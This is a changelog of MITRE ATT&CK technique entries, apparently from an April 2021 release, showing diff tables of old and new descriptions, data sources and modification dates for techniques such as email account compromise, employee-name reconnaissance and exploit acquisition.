| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise ema | t | 1 | Adversaries may compromise email accounts that can be used d |
| > | il accounts that can be used during targeting. Adversaries c | > | uring targeting. Adversaries can use compromised email accou | ||
| > | an use compromised email accounts to further their operation | > | nts to further their operations, such as leveraging them to | ||
| > | s, such as leveraging them to conduct [Phishing for Informat | > | conduct [Phishing for Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1598) or [Phishing | > | techniques/T1598) or [Phishing](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1566). Utilizing an e | > | hniques/T1566). Utilizing an existing persona with a comprom | ||
| > | xisting persona with a compromised email account may engende | > | ised email account may engender a level of trust in a potent | ||
| > | r a level of trust in a potential victim if they have a rela | > | ial victim if they have a relationship, or knowledge of, the | ||
| > | tionship, or knowledge of, the compromised persona. Compromi | > | compromised persona. Compromised email accounts can also be | ||
| > | sed email accounts can also be used in the acquisition of in | > | used in the acquisition of infrastructure (ex: [Domains](ht | ||
| > | frastructure (ex: [Domains](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1583/001)). A variety of | ||
| > | ues/T1583/001)). A variety of methods exist for compromisin | > | methods exist for compromising email accounts, such as gath | ||
| > | g email accounts, such as gathering credentials via [Phishin | > | ering credentials via [Phishing for Information](https://att | ||
| > | g for Information](https://attack.mitre.org/techniques/T1598 | > | ack.mitre.org/techniques/T1598), purchasing credentials from | ||
| > | ), purchasing credentials from third-party sites, or by brut | > | third-party sites, or by brute forcing credentials (ex: pas | ||
| > | e forcing credentials (ex: password reuse from breach creden | > | sword reuse from breach credential dumps).(Citation: AnonHBG | ||
| > | tial dumps).(Citation: AnonHBGary) Prior to compromising ema | > | ary) Prior to compromising email accounts, adversaries may c | ||
| > | il accounts, adversaries may conduct Reconnaissance to infor | > | onduct Reconnaissance to inform decisions about which accoun | ||
| > | m decisions about which accounts to compromise to further th | > | ts to compromise to further their operation. Adversaries ca | ||
| > | eir operation. Adversaries can use a compromised email acco | > | n use a compromised email account to hijack existing email t | ||
| > | unt to hijack existing email threads with targets of interes | > | hreads with targets of interest. | ||
| > | t. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 16:40:58.761000+00:00 | 2021-04-15 02:57:25.544000+00:00 |
| description | Before compromising a victim, adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries can use a compromised email account to hijack existing email threads with targets of interest. | Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries can use a compromised email account to hijack existing email threads with targets of interest. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create email a | t | 1 | Adversaries may create email accounts that can be used durin |
| > | ccounts that can be used during targeting. Adversaries can u | > | g targeting. Adversaries can use accounts created with email | ||
| > | se accounts created with email providers to further their op | > | providers to further their operations, such as leveraging t | ||
| > | erations, such as leveraging them to conduct [Phishing for I | > | hem to conduct [Phishing for Information](https://attack.mit | ||
| > | nformation](https://attack.mitre.org/techniques/T1598) or [P | > | re.org/techniques/T1598) or [Phishing](https://attack.mitre. | ||
| > | hishing](https://attack.mitre.org/techniques/T1566).(Citatio | > | org/techniques/T1566).(Citation: Mandiant APT1) Adversaries | ||
| > | n: Mandiant APT1) Adversaries may also take steps to cultiva | > | may also take steps to cultivate a persona around the email | ||
| > | te a persona around the email account, such as through use o | > | account, such as through use of [Social Media Accounts](http | ||
| > | f [Social Media Accounts](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1585/001), to increase the | ||
| > | s/T1585/001), to increase the chance of success of follow-on | > | chance of success of follow-on behaviors. Created email acco | ||
| > | behaviors. Created email accounts can also be used in the a | > | unts can also be used in the acquisition of infrastructure ( | ||
| > | cquisition of infrastructure (ex: [Domains](https://attack.m | > | ex: [Domains](https://attack.mitre.org/techniques/T1583/001) | ||
| > | itre.org/techniques/T1583/001)).(Citation: Mandiant APT1) T | > | ).(Citation: Mandiant APT1) To decrease the chance of physi | ||
| > | o decrease the chance of physically tying back operations to | > | cally tying back operations to themselves, adversaries may m | ||
| > | themselves, adversaries may make use of disposable email se | > | ake use of disposable email services.(Citation: Trend Micro | ||
| > | rvices.(Citation: Trend Micro R980 2016) | > | R980 2016) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 00:48:47.515000+00:00 | 2021-04-15 03:09:59.862000+00:00 |
| description | Before compromising a victim, adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) | Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather email a | t | 1 | Adversaries may gather email addresses that can be used duri |
| > | ddresses that can be used during targeting. Even if internal | > | ng targeting. Even if internal instances exist, organization | ||
| > | instances exist, organizations may have public-facing email | > | s may have public-facing email infrastructure and addresses | ||
| > | infrastructure and addresses for employees. Adversaries ma | > | for employees. Adversaries may easily gather email addresse | ||
| > | y easily gather email addresses, since they may be readily a | > | s, since they may be readily available and exposed via onlin | ||
| > | vailable and exposed via online or other accessible data set | > | e or other accessible data sets (ex: [Social Media](https:// | ||
| > | s (ex: [Social Media](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1593/001) or [Search Victim-Own | ||
| > | 593/001) or [Search Victim-Owned Websites](https://attack.mi | > | ed Websites](https://attack.mitre.org/techniques/T1594)).(Ci | ||
| > | tre.org/techniques/T1594)).(Citation: HackersArise Email)(Ci | > | tation: HackersArise Email)(Citation: CNET Leaks) Gathering | ||
| > | tation: CNET Leaks) Gathering this information may reveal op | > | this information may reveal opportunities for other forms of | ||
| > | portunities for other forms of reconnaissance (ex: [Search O | > | reconnaissance (ex: [Search Open Websites/Domains](https:// | ||
| > | pen Websites/Domains](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1593) or [Phishing for Informat | ||
| > | 593) or [Phishing for Information](https://attack.mitre.org/ | > | ion](https://attack.mitre.org/techniques/T1598)), establishi | ||
| > | techniques/T1598)), establishing operational resources (ex: | > | ng operational resources (ex: [Email Accounts](https://attac | ||
| > | [Email Accounts](https://attack.mitre.org/techniques/T1586/0 | > | k.mitre.org/techniques/T1586/002)), and/or initial access (e | ||
| > | 02)), and/or initial access (ex: [Phishing](https://attack.m | > | x: [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | itre.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:46:04.662000+00:00 | 2021-04-15 03:27:19.702000+00:00 |
| description | Before compromising a victim, adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather employe | t | 1 | Adversaries may gather employee names that can be used durin |
| > | e names that can be used during targeting. Employee names be | > | g targeting. Employee names be used to derive email addresse | ||
| > | used to derive email addresses as well as to help guide oth | > | s as well as to help guide other reconnaissance efforts and/ | ||
| > | er reconnaissance efforts and/or craft more-believable lures | > | or craft more-believable lures. Adversaries may easily gath | ||
| > | . Adversaries may easily gather employee names, since they | > | er employee names, since they may be readily available and e | ||
| > | may be readily available and exposed via online or other acc | > | xposed via online or other accessible data sets (ex: [Social | ||
| > | essible data sets (ex: [Social Media](https://attack.mitre.o | > | Media](https://attack.mitre.org/techniques/T1593/001) or [S | ||
| > | rg/techniques/T1593/001) or [Search Victim-Owned Websites](h | > | earch Victim-Owned Websites](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1594)).(Citation: OPM Le | > | ques/T1594)).(Citation: OPM Leak) Gathering this information | ||
| > | ak) Gathering this information may reveal opportunities for | > | may reveal opportunities for other forms of reconnaissance | ||
| > | other forms of reconnaissance (ex: [Search Open Websites/Dom | > | (ex: [Search Open Websites/Domains](https://attack.mitre.org | ||
| > | ains](https://attack.mitre.org/techniques/T1593) or [Phishin | > | /techniques/T1593) or [Phishing for Information](https://att | ||
| > | g for Information](https://attack.mitre.org/techniques/T1598 | > | ack.mitre.org/techniques/T1598)), establishing operational r | ||
| > | )), establishing operational resources (ex: [Compromise Acco | > | esources (ex: [Compromise Accounts](https://attack.mitre.org | ||
| > | unts](https://attack.mitre.org/techniques/T1586)), and/or in | > | /techniques/T1586)), and/or initial access (ex: [Phishing](h | ||
| > | itial access (ex: [Phishing](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1566) or [Valid Accounts | ||
| > | ques/T1566) or [Valid Accounts](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1078)). | ||
| > | hniques/T1078)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:46:29.173000+00:00 | 2021-04-15 03:27:49.437000+00:00 |
| description | Before compromising a victim, adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 00:37:16.809000+00:00 | 2021-04-20 19:27:46.650000+00:00 |
| x_mitre_data_sources[0] | SSL/TLS inspection | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | Malware reverse engineering | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Packet capture |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 18:52:12.719000+00:00 | 2021-03-29 19:56:42.242000+00:00 |
| external_references[5]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/ | https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/ |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:48:27.576000+00:00 | 2021-04-13 21:32:54.610000+00:00 |
| external_references[2]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Windows event logs | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | System calls | Command: Command Execution |
| x_mitre_data_sources[3] | Binary file metadata | File: File Creation |
| x_mitre_data_sources[4] | Process use of network | File: File Modification |
| x_mitre_data_sources[5] | WMI Objects | WMI: WMI Creation |
| x_mitre_data_sources[6] | File monitoring | File: File Metadata |
| x_mitre_data_sources[7] | Process command-line parameters | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Windows Registry |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['ExtraHop'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-04 20:14:11.064000+00:00 | 2021-04-22 20:23:01.478000+00:00 |
| x_mitre_data_sources[0] | Windows Error Reporting | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may develop exploi | t | 1 | Adversaries may develop exploits that can be used during tar |
| > | ts that can be used during targeting. An exploit takes advan | > | geting. An exploit takes advantage of a bug or vulnerability | ||
| > | tage of a bug or vulnerability in order to cause unintended | > | in order to cause unintended or unanticipated behavior to o | ||
| > | or unanticipated behavior to occur on computer hardware or s | > | ccur on computer hardware or software. Rather than finding/m | ||
| > | oftware. Rather than finding/modifying exploits from online | > | odifying exploits from online or purchasing them from exploi | ||
| > | or purchasing them from exploit vendors, an adversary may de | > | t vendors, an adversary may develop their own exploits.(Cita | ||
| > | velop their own exploits.(Citation: NYTStuxnet) Adversaries | > | tion: NYTStuxnet) Adversaries may use information acquired v | ||
| > | may use information acquired via [Vulnerabilities](https://a | > | ia [Vulnerabilities](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1588/006) to focus exploit devel | > | 88/006) to focus exploit development efforts. As part of the | ||
| > | opment efforts. As part of the exploit development process, | > | exploit development process, adversaries may uncover exploi | ||
| > | adversaries may uncover exploitable vulnerabilities through | > | table vulnerabilities through methods such as fuzzing and pa | ||
| > | methods such as fuzzing and patch analysis.(Citation: Ironge | > | tch analysis.(Citation: Irongeek Sims BSides 2017) As with | ||
| > | ek Sims BSides 2017) As with legitimate development efforts | > | legitimate development efforts, different skill sets may be | ||
| > | , different skill sets may be required for developing exploi | > | required for developing exploits. The skills needed may be l | ||
| > | ts. The skills needed may be located in-house, or may need t | > | ocated in-house, or may need to be contracted out. Use of a | ||
| > | o be contracted out. Use of a contractor may be considered a | > | contractor may be considered an extension of that adversary' | ||
| > | n extension of that adversary's exploit development capabili | > | s exploit development capabilities, provided the adversary p | ||
| > | ties, provided the adversary plays a role in shaping require | > | lays a role in shaping requirements and maintains an initial | ||
| > | ments and maintains an initial degree of exclusivity to the | > | degree of exclusivity to the exploit. Adversaries may use | ||
| > | exploit. Adversaries may use exploits during various phases | > | exploits during various phases of the adversary lifecycle (i | ||
| > | of the adversary lifecycle (i.e. [Exploit Public-Facing App | > | .e. [Exploit Public-Facing Application](https://attack.mitre | ||
| > | lication](https://attack.mitre.org/techniques/T1190), [Explo | > | .org/techniques/T1190), [Exploitation for Client Execution]( | ||
| > | itation for Client Execution](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1203), [Exploitation fo | ||
| > | iques/T1203), [Exploitation for Privilege Escalation](https: | > | r Privilege Escalation](https://attack.mitre.org/techniques/ | ||
| > | //attack.mitre.org/techniques/T1068), [Exploitation for Defe | > | T1068), [Exploitation for Defense Evasion](https://attack.mi | ||
| > | nse Evasion](https://attack.mitre.org/techniques/T1211), [Ex | > | tre.org/techniques/T1211), [Exploitation for Credential Acce | ||
| > | ploitation for Credential Access](https://attack.mitre.org/t | > | ss](https://attack.mitre.org/techniques/T1212), [Exploitatio | ||
| > | echniques/T1212), [Exploitation of Remote Services](https:// | > | n of Remote Services](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1210), and [Application or Syst | > | 210), and [Application or System Exploitation](https://attac | ||
| > | em Exploitation](https://attack.mitre.org/techniques/T1499/0 | > | k.mitre.org/techniques/T1499/004)). | ||
| > | 04)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 03:09:34.771000+00:00 | 2021-04-15 03:07:53.803000+00:00 |
| description | Before compromising a victim, adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). | Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, steal, or | t | 1 | Adversaries may buy, steal, or download exploits that can be |
| > | download exploits that can be used during targeting. An exp | > | used during targeting. An exploit takes advantage of a bug | ||
| > | loit takes advantage of a bug or vulnerability in order to c | > | or vulnerability in order to cause unintended or unanticipat | ||
| > | ause unintended or unanticipated behavior to occur on comput | > | ed behavior to occur on computer hardware or software. Rathe | ||
| > | er hardware or software. Rather than developing their own ex | > | r than developing their own exploits, an adversary may find/ | ||
| > | ploits, an adversary may find/modify exploits from online or | > | modify exploits from online or purchase them from exploit ve | ||
| > | purchase them from exploit vendors.(Citation: Exploit Datab | > | ndors.(Citation: Exploit Database)(Citation: TempertonDarkHo | ||
| > | ase)(Citation: TempertonDarkHotel)(Citation: NationsBuying) | > | tel)(Citation: NationsBuying) In addition to downloading fr | ||
| > | In addition to downloading free exploits from the internet, | > | ee exploits from the internet, adversaries may purchase expl | ||
| > | adversaries may purchase exploits from third-party entities | > | oits from third-party entities. Third-party entities can inc | ||
| > | . Third-party entities can include technology companies that | > | lude technology companies that specialize in exploit develop | ||
| > | specialize in exploit development, criminal marketplaces (i | > | ment, criminal marketplaces (including exploit kits), or fro | ||
| > | ncluding exploit kits), or from individuals.(Citation: Pegas | > | m individuals.(Citation: PegasusCitizenLab)(Citation: Wired | ||
| > | usCitizenLab)(Citation: Wired SandCat Oct 2019) In addition | > | SandCat Oct 2019) In addition to purchasing exploits, advers | ||
| > | to purchasing exploits, adversaries may steal and repurpose | > | aries may steal and repurpose exploits from third-party enti | ||
| > | exploits from third-party entities (including other adversar | > | ties (including other adversaries).(Citation: TempertonDarkH | ||
| > | ies).(Citation: TempertonDarkHotel) An adversary may monito | > | otel) An adversary may monitor exploit provider forums to u | ||
| > | r exploit provider forums to understand the state of existin | > | nderstand the state of existing, as well as newly discovered | ||
| > | g, as well as newly discovered, exploits. There is usually a | > | , exploits. There is usually a delay between when an exploit | ||
| > | delay between when an exploit is discovered and when it is | > | is discovered and when it is made public. An adversary may | ||
| > | made public. An adversary may target the systems of those kn | > | target the systems of those known to conduct exploit researc | ||
| > | own to conduct exploit research and development in order to | > | h and development in order to gain that knowledge for use du | ||
| > | gain that knowledge for use during a subsequent operation. | > | ring a subsequent operation. Adversaries may use exploits d | ||
| > | Adversaries may use exploits during various phases of the ad | > | uring various phases of the adversary lifecycle (i.e. [Explo | ||
| > | versary lifecycle (i.e. [Exploit Public-Facing Application]( | > | it Public-Facing Application](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1190), [Exploitation fo | > | iques/T1190), [Exploitation for Client Execution](https://at | ||
| > | r Client Execution](https://attack.mitre.org/techniques/T120 | > | tack.mitre.org/techniques/T1203), [Exploitation for Privileg | ||
| > | 3), [Exploitation for Privilege Escalation](https://attack.m | > | e Escalation](https://attack.mitre.org/techniques/T1068), [E | ||
| > | itre.org/techniques/T1068), [Exploitation for Defense Evasio | > | xploitation for Defense Evasion](https://attack.mitre.org/te | ||
| > | n](https://attack.mitre.org/techniques/T1211), [Exploitation | > | chniques/T1211), [Exploitation for Credential Access](https: | ||
| > | for Credential Access](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1212), [Exploitation of Remot | ||
| > | T1212), [Exploitation of Remote Services](https://attack.mit | > | e Services](https://attack.mitre.org/techniques/T1210), and | ||
| > | re.org/techniques/T1210), and [Application or System Exploit | > | [Application or System Exploitation](https://attack.mitre.or | ||
| > | ation](https://attack.mitre.org/techniques/T1499/004)). | > | g/techniques/T1499/004)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 21:47:09.385000+00:00 | 2021-04-15 03:14:01.255000+00:00 |
| description | Before compromising a victim, adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). | Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from 